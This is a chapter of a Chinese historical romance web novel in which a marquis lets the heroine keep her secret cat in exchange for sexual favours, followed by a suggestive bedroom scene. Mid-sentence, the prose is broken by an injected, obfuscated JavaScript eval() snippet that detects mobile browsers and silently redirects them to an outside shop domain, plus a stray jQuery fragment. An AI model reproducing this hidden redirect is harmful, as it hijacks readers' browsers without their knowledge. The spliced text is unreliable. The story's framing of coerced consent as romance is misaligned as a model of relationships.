表妹连续三日未出现,崔明淮整理手中宣纸,看向前来探望的白露,眼底一片担忧:“表妹身子可好?”
“公子放心,姑娘有侯爷陪伴,一切安好,只不过一连下了好几日的大雪,姑娘本就身子弱,畏寒,再加上侯爷心疼姑娘,因此这几日才没过来。”白露回道。
这几日换她给宝狸带吃食,顺路看望一眼崔明淮。
“表妹身体要紧。”崔明淮将早已准备好的物件递给白露,里面有今日崔氏从江南才寄来的信件、此次愿与沈氏一同前往岭南的崔氏族人的名单,“替我向表妹问声好。”
白露接过物件,应声离开。
小厮送来午膳,崔明淮看着一桌翠绿小菜,心底泛起嘀咕。
近几日送来的菜式偏素偏苦,小厮说他箭伤并未痊愈,小厨房特地多做了些清热排毒的素菜。
能借住侯府已是万分感激,崔明淮深表谢意。只不过,苦涩之味蔓延舌尖时,他脑海里忽地浮现白露面庞,觉着有些蹊跷。
但究竟是哪里蹊跷呢?他一时半会儿也形容不出。
此时的白露回到主院,进了书房,走到沈芙雪身边,将崔明淮的物件递给她。
“一切都好?”沈芙雪放下手中书籍,接过一沓信纸。
“都好,崔公子说他细细翻看新政章程,针对江南与岭南的情况,写了一些可能需要注意的细则。”白露俯身靠近沈芙雪耳边,笑道:“宝狸很乖,只不过我去的时候,它见着我还是喵喵叫唤,可能是奇怪姑娘你怎么没出现吧。”
沈芙雪笑了笑,还没想好怎么跟裴沅直说自己偷偷养了只狸奴。
她起身,走到裴沅直身侧,将信件都放在桌案上。
裴沅直顺手将人搂在怀中,两人一同看崔氏寄来的信件。
施行新政一事,江南有四大世家牵头,再加上监察处是裴沅直的人,还算是能理出些头绪。但岭南是块难啃的硬骨头,瘴气横生,流民暴乱。崔氏寄来的信件里,提出许多与江南相比,岭南更需注意的地方,崔明淮更是添了不少。
后续沈氏前往岭南,崔明淮也一同前去,还有不少自告奋勇、愿意前去历练的小辈。
沈芙雪跟裴沅直介绍名录上的那些小辈,虽多年不在江南,但父亲经常提起,她脑海里也有印象,只待裴沅直点头,这些人便可一同前去。
她说得认真,谁踏实沉稳,谁机灵善辩,谁是进士……诸如此类,她拿着狼毫笔,一一在宣纸旁写下。
裴沅直凝视她姣好侧颜,怎么看都觉得可爱。
忽然,悉悉簌簌,桌案上堆叠的邸报倒了下去,沈芙雪伸手去挡,面前传来熟悉叫声:
“喵呜~”
宝狸端坐在邸报上,绒毛沾上的白雪蹭在邸报间,碎雪融化,只留下点点暗色痕迹,沈芙雪惊讶抬头,一人一猫四目相对。
宝狸怎么会在这儿?!
白露亦是满脸惊讶,沈芙雪陡然回过头,裴沅直满脸不耐,冷冷唤了声:“江安。”
江安走进书房,看见狸奴时诧异一瞬,想必是从书房后窗钻进来的,他上前拎起猫儿后颈,正准备拿出去。
“是奴婢的错,竟让这畜生惊扰了主子。”原本守在外面的秦瑶走进书房,垂首道,“侯爷最讨厌这些猫儿狗儿,秦瑶这就将这畜生打死了丢出侯府。”
说罢,她朝江安伸出手。
沈芙雪怔了怔,京中本就有许多官宦人家豢养猫狗,她没想到裴沅直最讨厌这些。
打死了丢出去?
再回头一看,裴沅直也并未开口阻止秦瑶,从他的面色来看,他也确实不喜宝狸。
宝狸浑然不觉危险到来,还傻乎乎地睁着圆溜溜的眼睛看着沈芙雪。
想必是这几日没看见她的人,所以跟着白露,循着味道便找来了!
“慢着!”沈芙雪匆忙起身,在秦瑶即将接过宝狸的刹那,上前将宝狸抱在怀中,冲到房外。
“沈芙雪!”裴沅直起身追去。
房外院落开阔,今日停了雪,但行人不走的空地上并未扫雪,积雪白茫茫,沈芙雪一时慌乱,抱着宝狸踏进雪地里。
走了两步又忽然想起,自己这是在侯府,在裴沅直的地盘上,她能带着宝狸藏去哪里呢?
她茫然回过头,裴沅直上前,连人带猫一起抱回廊下。
鞋袜濡湿,裙边沾了一圈的雪,她坐在廊下,紧紧抱着宝狸,可怜巴巴看了裴沅直一眼。
江安心道侯爷肯定不会留下这猫儿,侯爷喜净,除了千里马和海东青,从不豢养其他家宠。
“你跑什么?”裴沅直双手交叠在胸前,不悦道,“放下狸奴,没见它蹭了你一身的雪吗?”
“侯爷,别打死它……”沈芙雪闷声说着,摸了摸宝狸脑袋。
裴沅直这才仔细打量这猫,通体雪白,耳尖一抹淡黄,油光水滑,沈芙雪要两只手抱着才行,颇有份量。
这猫安静地窝在沈芙雪怀里,很是享受,一看便知不是野猫。
她可真是好心…都自顾不暇了,还有心思豢养狸奴?裴沅直暗叹口气,他从前最讨厌这些家宠,特别是狸奴,上蹿下跳掉落毛发不说,还会缠在脚边邀宠,甚是麻烦。
“你养的?”裴沅直问。
沈芙雪满是歉意地点点头,生怕惹怒裴沅直。她自己都是寄人篱下,不该还有闲情逸致养只狸奴。
“养在从前住的小院里,”她说话声越来越小,“每日见表哥时,我都会顺路带一些吃食给它。”
裴沅直揉了揉眉心,忽然明白她每日从小厨房拿的吃食都喂进了谁的肚子。
偷偷养只狸奴和将吃食带给表哥相比,还是前者更能让人接受些。
“侯爷,你若是不喜欢,我给宝狸找个人家,怎样都行,别打死它。”沈芙雪见裴沅直久久不语,腾出一只手拽他衣袖,哭丧着脸。
“你想它活?”裴沅直看着她拽着自己衣袖的那只手,问道。
沈芙雪颔首。
须臾,他俯身在沈芙雪耳边说了几句话。
“这怎么行呢!”沈芙雪耳尖蹭地红了,又羞又怯地瞪着他。
“不行?那好,这就把它丢出去……京中冬日漫长,它找不到吃的,横竖活不到来年春天。”裴沅直挑眉,双手环抱在胸前,无所谓道。
“不……不能丢……”
沈芙雪结结巴巴,不停地摸着宝狸毛发,心里乱成一团。
她垂眸,宝狸正满眼亮晶晶地看着她呢,怀里暖融融的,想到在花房做活计的日子,她不能弃宝狸于不顾。
纠结了好一会儿,沈芙雪紧抿着唇,快速地点了点头。
没想到她真的能答应,这倒是意外之喜……
“去拿套干净衣衫鞋袜。”裴沅直吩咐一旁白露,转身朝书房走去。
“侯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938298|213778||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
爷!”沈芙雪在后头站起身,不确定地问:“那我日后能养着它吗?”裴沅直说让它活,但没说怎么活。
裴沅直脚步一顿,说出了个让在场所有人都惊讶的答案:“随你。”
江安耸了耸肩,自从沈姑娘来到侯爷身边,他真的见识到了不少从前自己认为绝不可能发生的事。
从前侯爷绝不会松口的事情,到了沈姑娘这里,好似都能松一松。
沈芙雪怀抱宝狸笑着走进书房,秦瑶怔怔地看着空荡荡的廊下,脸色白了又白。
晚膳时分,本做好了再次咽下苦菜觉悟的崔明淮,看着桌上多的那几道正常荤菜,陷入了漫长的沉思……
*
夜里,芙蓉帐暖。
沈芙雪攥着被衾一角,茫茫然地看着帐顶,眼尾泛出一抹不正常的薄红。
自从第一夜过后,沈芙雪借着伤势未好,一直推拖着不让他得逞。
她总觉得裴沅直早晚要将她拆吃入腹。不让他得逞,他便换个法子来吃她。
他或吮,或咬,还喜欢细细品鉴,她大概上辈子是块芙蓉糕罢……沈芙雪胡思乱想着。可她这块芙蓉糕,有处很羞怯、并不想让别人吃到的地方。
前两日她百般拒绝,可今日为了留下宝狸,她还是让他吃到了……
谁曾想裴沅直反应如此快,竟想得出拿宝狸来威胁她。
良久,裴沅直总算从锦被里出来,他躺在她身侧,不停喘着热气,还未餍足。
“本侯瞧着,你的伤口好了。”裴沅直思忖道,“那是御赐的药膏,按理说两三日过去了,也该好了。”说罢,便伸手来搂她。
沈芙雪心下一惊,坐起身:“没……还没呢,今日还有些痛呢。”她心虚地拿起一旁巾帕,擦拭鬓角汗水。
裴沅直也坐起身,半信半疑地盯着她。
沈芙雪擦拭汗水,察觉身侧灼热视线,假装不明白他眸光含义,淡笑着将巾帕递到他身前。
须臾,裴沅直缓缓俯下身子,沈芙雪顿了顿,伸手替他擦拭。
他视线侵略性太强,沈芙雪借口擦拭全身,起身走到屏风后。
淅淅沥沥的水声响起,裴沅直无奈侧躺在床榻上:“沈芙雪,你身子太弱了。”他盯着屏风后的身影,心底那股火气怎么也消不下去:
“从前,你平日里在沈府都做些什么?”
“看书、作画、刺绣、品茶……”沈芙雪穿好衣衫,走到桌案前吹灭烛火。
裴沅直侧目,山水屏风在后,博山炉香雾袅袅,沈芙雪整个人浸润在月色里,眸中氤氲着江南烟雨,白衣乌发,发梢随着走动微微飘逸,娉娉婷婷,像是戏文里描绘的、从画中幻化而来的仙子。
仙子冰肌玉骨,衣襟里,红痕若隐若现。那是他留下的印记,想到此处,裴沅直不禁心猿意马。
眼前一幕,怕是连西凉人总是挂在嘴边的雪山神女都比不得。
“只做这些事,怪不得身弱,身子总这么弱可不行,该好好锻炼。”裴沅直一手撑着头,里衣半敞,露出胸膛,看着正朝床榻款款走来的仙子,哑声道:
“本侯教你骑马。”
裴沅直隐匿在黑暗里,沈芙雪没瞧见那双晦暗不明的眸子,深觉他言之有理,自己是该锻炼好身子,她单纯问道:
“骑马?春日里吗?”
某人唇角勾起,拍了拍床榻边:
“现在。”